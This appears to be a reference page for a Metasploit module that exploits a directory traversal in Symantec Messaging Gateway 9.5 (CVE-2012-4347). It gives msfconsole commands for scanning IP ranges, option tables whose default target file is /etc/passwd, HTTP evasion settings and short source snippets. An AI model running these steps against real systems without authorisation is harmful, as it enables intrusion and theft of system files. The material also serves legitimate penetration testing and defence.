Symantec Messaging Gateway 9.5 Log File Download Vulnerability - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/symantec_brightmail_logfile metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Symantec Messaging Gateway 9.5 Log File Download Vulnerability
Module: auxiliary/scanner/http/symantec_brightmail_logfile
Source code: modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb
Disclosure date: 2012-11-30
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 41080
List of CVEs: CVE-2012-4347
This module will download a file of your choice against Symantec Messaging Gateway. This is possible by exploiting a directory traversal vulnerability when handling the 'logFile' parameter, which will load an arbitrary file as an attachment. Note that authentication is required in order to successfully download your file.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/symantec_brightmail_logfile
msf auxiliary(symantec_brightmail_logfile) > show options
... show and set options ...
msf auxiliary(symantec_brightmail_logfile) > set RHOSTS ip-range
msf auxiliary(symantec_brightmail_logfile) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(symantec_brightmail_logfile) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(symantec_brightmail_logfile) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(symantec_brightmail_logfile) > set RHOSTS file:/tmp/ip_list.txt
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: The username to login as
PASSWORD: The password to login with
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/symantec_brightmail_logfile auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/symantec_brightmail_logfile
msf6 auxiliary(scanner/http/symantec_brightmail_logfile) > show info
Name: Symantec Messaging Gateway 9.5 Log File Download Vulnerability
Module: auxiliary/scanner/http/symantec_brightmail_logfile
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2012-11-30
Provided by:
Ben Williams <[email protected]>
sinn3r <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME /etc/passwd yes The file to download
PASSWORD yes The password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 41080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME yes The username to login as
VHOST no HTTP server virtual host
Description:
This module will download a file of your choice against Symantec
Messaging Gateway. This is possible by exploiting a directory
traversal vulnerability when handling the 'logFile' parameter, which
will load an arbitrary file as an attachment. Note that
authentication is required in order to successfully download your
file.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-4347
https://www.exploit-db.com/exploits/23110
OSVDB (88165)
http://www.securityfocus.com/bid/56789
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00
Module Options
This is a complete list of options available in the scanner/http/symantec_brightmail_logfile auxiliary module:
msf6 auxiliary(scanner/http/symantec_brightmail_logfile) > show options
Module options (auxiliary/scanner/http/symantec_brightmail_logfile):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME /etc/passwd yes The file to download
PASSWORD yes The password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 41080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME yes The username to login as
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/symantec_brightmail_logfile auxiliary module:
msf6 auxiliary(scanner/http/symantec_brightmail_logfile) > show advanced
Module advanced options (auxiliary/scanner/http/symantec_brightmail_logfile):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/symantec_brightmail_logfile module can do:
msf6 auxiliary(scanner/http/symantec_brightmail_logfile) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/symantec_brightmail_logfile auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/symantec_brightmail_logfile) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to download the file. The server timed out.
Here is a relevant code snippet related to the "Unable to download the file. The server timed out." error message:
104: 'browserType' => '1'
105: }
106: })
107:
108: if not res
109: print_error("Unable to download the file. The server timed out.")
110: return
111: elsif res and res.body.empty?
112: print_error("File not found or empty.")
113: return
114: end
File not found or empty.
Here is a relevant code snippet related to the "File not found or empty." error message:
107:
108: if not res
109: print_error("Unable to download the file. The server timed out.")
110: return
111: elsif res and res.body.empty?
112: print_error("File not found or empty.")
113: return
114: end
115:
116: vprint_line
117: vprint_line(res.body)
Missing required login data. Cannot continue.
Here is a relevant code snippet related to the "Missing required login data. Cannot continue." error message:
123:
124:
125: def run_host(ip)
126: sid, last_login = get_login_data
127: if sid.empty? or last_login.empty?
128: print_error("Missing required login data. Cannot continue.")
129: return
130: end
131:
132: username = datastore['USERNAME']
133: password = datastore['PASSWORD']
Unable to login. Cannot continue.
Here is a relevant code snippet related to the "Unable to login. Cannot continue." error message:
130: end
131:
132: username = datastore['USERNAME']
133: password = datastore['PASSWORD']
134: if not auth(username, password, sid, last_login)
135: print_error("Unable to login. Cannot continue.")
136: return
137: else
138: print_good("Logged in as '#{username}:#{password}'")
139: end
140:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11523 Merged Pull Request: MSF5: Remove unneeded RHOST deregister in scanners
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #5702 Merged Pull Request: Add empty default vprint value
- #3359 Merged Pull Request: Resolved some more Set-Cookie warnings
- #2525 Merged Pull Request: Change module boilerplate
- #2422 Merged Pull Request: remove peer and rport methods since they are already defined in Msf::Exploit::Remote::HttpClient
- #1152 Merged Pull Request: Add CVE-2012-4347 Symantec Messaging Gateway Log File Download
References
- CVE-2012-4347
- EDB-23110
- OSVDB (88165)
- BID-56789
- http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/symantec_brightmail_ldapcreds
- auxiliary/scanner/http/symantec_web_gateway_login
- exploit/linux/http/symantec_messaging_gateway_exec
- exploit/linux/http/symantec_web_gateway_exec
- exploit/linux/http/symantec_web_gateway_file_upload
- exploit/linux/http/symantec_web_gateway_lfi
- exploit/linux/http/symantec_web_gateway_pbcontrol
- exploit/linux/http/symantec_web_gateway_restore
- exploit/linux/ssh/symantec_smg_ssh
- exploit/windows/antivirus/symantec_endpoint_manager_rce
- exploit/windows/antivirus/symantec_iao
- exploit/windows/antivirus/symantec_rtvscan
- exploit/windows/antivirus/symantec_workspace_streaming_exec
- exploit/windows/browser/symantec_altirisdeployment_downloadandinstall
- exploit/windows/browser/symantec_altirisdeployment_runcmd
- exploit/windows/browser/symantec_appstream_unsafe
- exploit/windows/browser/symantec_backupexec_pvcalendar
- exploit/windows/browser/symantec_consoleutilities_browseandsavefile
- auxiliary/scanner/sap/sap_mgmt_con_getlogfiles
- auxiliary/scanner/sap/sap_mgmt_con_listlogfiles
Related Nessus plugins:
Authors
- Ben Williams <ben.williams[at]ngssecure.com>
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.